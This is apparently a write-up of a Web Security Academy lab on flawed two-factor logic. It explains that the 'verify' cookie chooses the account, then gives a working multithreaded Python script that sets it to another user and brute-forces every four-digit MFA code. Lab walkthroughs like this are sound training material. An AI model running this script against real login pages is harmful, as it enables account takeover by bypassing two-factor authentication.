In this lab the trick is to modify the verify parameter since it determines which user is being accessed.
First when we try to login as wiener with the credentials provided we can see that we still need to submit a 4 digit code to complete the login and that code we get it from our email client, so after doing all these steps we can see the requests being sent and this one seems to be the way in:
POST /login2 HTTP/2
Host: 0ad800ab044c392786550900002e0087.web-security-academy.net
Cookie: session=sVTQs7maz7EMV9DYM1k5lWt8X7SOIyFB; verify=wiener
...
mfa-code=0592
we can see that the verify parameter have the name of wiener so this login process takes action for the username wiener, so what if we play with this parameter and change it to another user that is valid then brute force its mfa-code. In our case the username is already given in the lab's description so all we need is to brute force the mfa code and that's where my script below takes place since i don't hvae burp pro so it would take an eternity to use burp intruder tool to brute force (or we just get lucky and get a hit from the first 100 requests).
import requests
from concurrent.futures import ThreadPoolExecutor
url = "https://0ad800ab044c392786550900002e0087.web-security-academy.net:443/login2"
cookies = {"session": "sVTQs7maz7EMV9DYM1k5lWt8X7SOIyFB", "verify": "carlos"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://0ad800ab044c392786550900002e0087.web-security-academy.net", "Referer": "https://0ad800ab044c392786550900002e0087.web-security-academy.net/login2", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers"}
data = {"mfa-code": "1233"}
proxies = {"http": "http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
def brute_force(code):
code_value = f"{code:04}"
data = {"mfa-code": code_value}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if ("Incorrect" not in response.text):
print(f"Correct code found: {code_value}")
return True
else:
#print(f"Attempted code: {code_value}, Response code: {response.status_code}")
return False
with ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(brute_force, range(10000)))
if any(results):
print("Correct code found.")